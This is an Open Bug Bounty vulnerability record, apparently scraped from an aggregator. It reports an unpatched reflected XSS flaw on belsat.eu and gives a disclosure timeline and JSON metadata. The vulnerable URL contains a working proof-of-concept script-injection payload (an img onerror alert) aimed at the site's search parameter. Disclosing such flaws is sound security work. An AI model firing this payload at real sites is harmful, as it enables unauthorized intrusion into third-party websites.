Description
##### Vulnerable URL:
http://belsat.eu/?s=%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E
##### Details:
Description| Value
---|---
Patched:| No
Latest check for patch:| 28.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 95800
VIP website status:| No
Check belsat.eu SSL connection:| (Grade: F)
##### Coordinated Disclosure Timeline:
Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 14 January, 2017 19:57 GMT
Generic security notifications sent to website owner| 14 January, 2017 19:59 GMT
Vulnerability details disclosed by researcher| 11 February, 2017 20:14 GMT
{"type": "openbugbounty", "lastseen": "2017-10-17T01:37:14", "href": "https://www.openbugbounty.org/reports/206393/", "cvss": {"score": 0.0, "vector": "NONE"}, "reporter": "RickChase", "description": "##### Vulnerable URL:\n \n \n http://belsat.eu/?s=%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| No \nLatest check for patch:| 28.07.2017 \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| 95800 \nVIP website status:| No \nCheck belsat.eu SSL connection:| (Grade: F) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability submitted via Open Bug Bounty| 14 January, 2017 19:57 GMT \nGeneric security notifications sent to website owner| 14 January, 2017 19:59 GMT \nVulnerability details disclosed by researcher| 11 February, 2017 20:14 GMT\n", "bulletinFamily": "bugbounty", "references": [], "viewCount": 3, "cvelist": [], "openbugbounty": {"mirror": "", "patchStatus": "unpatched"}, "enchantments_done": [], "title": "belsat.eu XSS vulnerability ", "id": "OBB:206393", "modified": "2017-02-11T20:14:00", "published": "2017-01-14T19:57:00", "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645524078, "score": 1659778619}}
{}